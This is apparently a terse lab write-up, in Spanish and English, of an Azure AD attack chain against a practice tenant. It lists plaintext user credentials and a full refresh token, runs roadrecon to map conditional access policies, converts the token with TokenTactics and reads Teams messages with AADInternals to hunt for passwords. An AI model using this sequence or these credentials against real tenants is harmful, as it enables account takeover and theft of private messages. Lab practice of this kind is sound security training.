TokenTactics and AADInternal Basics

TokenTactics and AADInternal Basics


Windows

Credenciales lindsey.miller@megabigtech.com:SUmmer07!!!

roadrecon auth -u Lindsey.Miller@megabigtech.com -p 'SUmmer07!!'

ssh_command.

batcat .roadtools_auth | jq

ssh_command.

roadrecon gather

ssh_command.

roadrecon plugin policies

firefox caps.html

ssh_command.

El usuario necesita MFA y parece que no estan excluidos los dispositivos moviles.

ssh_command.

az login -u Ashraf.Daher@megabigtech.com -p MegaBigTech1

ssh_command.

pwsh

cd /opt/TokenTacticsV2/TokenTactics.psm1

ssh_command.

RefreshTo-MsTeamsToken -domain megabigtech.com -RefreshToken 1.AU4A78yQJX1oO0mujUQcurY6cpV3sATbjRpGu-4C-eG_e0YOAR5OAA.AgABAwEAAABVrSpeuWamRam2jAF1XRQEAwDs_wUA9P-nS4_D4HOmI7Ihh3jTU6KqE_jiUDwHfJII3ewdwwu3mUH8Hd54QrIbB3AQsEd64oAm4IpHWecNHSaD73aQfU2RKpFMnR7zooBo-7cwibEIZyJrw_F25Mdj4e0hIdptzvflkRls1cM0HnHTOZG3Lw3kEI9YoG3dzLsc9T7f208K7394cWfQaTQNvfXIFajQPd9zABwU4SY3t9CrcZO8Tp9mv4kf4CzanoT1E3UR7ecHczw_0I7vW9ghCCPYUxIZHB9PsGFyiPlC06Jo-1EYlu4OiFE_6atNvDqyLeT4M1aHSpm4DmtEqiLapgcjyI8D6VvAK8ZtJUPRLe1tkCBbSOC0WMC3PPCdEvtFIw_dcencF0UxwzAL1kYWNL6d86J_fhQ0Z8tWdR8iJpZGfQ7vqNaXmlJ3iTF7AZSQa2m-Pyvo-VEDDZHCge4rLdcM7Hm3j6lu2-OqIk6AoDqyQgHVtIp1GCWIbcUXCwC-fH4BwIVWyAEN2DSIBYCsTtBxoCj_J7dbiCoAWq8YUQPVmgt_6iH892sEP3Am5cCDAepx4Fj2eeYybg2fUaBHoikjLA1kgzTl6ysUrEGaah4NN21DDTJtXhJwwon2aO5M-rxEqoxHVzeUjRlh0dq5tf5E3z5vyi99MCrvPnND-dl7p5RnSRj1hbTJzWIgDlznGjhVGo2QizohvPImjxNXRl_FKvI2P3Kg7WnLEEkzN8FQ2DQF15yK0pc7LGa37SJjAWzbmZ60QK8

ssh_command.

$MSTeamsToken.access_token

ssh_command.

Import-Module ./AADInternals/AADinternals.psm1

ssh_command.

Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName

ssh_command.

Por alguna razon no pude ver las contrasenas pero supuestamente se deberia de ver asi:

ssh_command. ssh_command.

© 2025 Cu3rv0x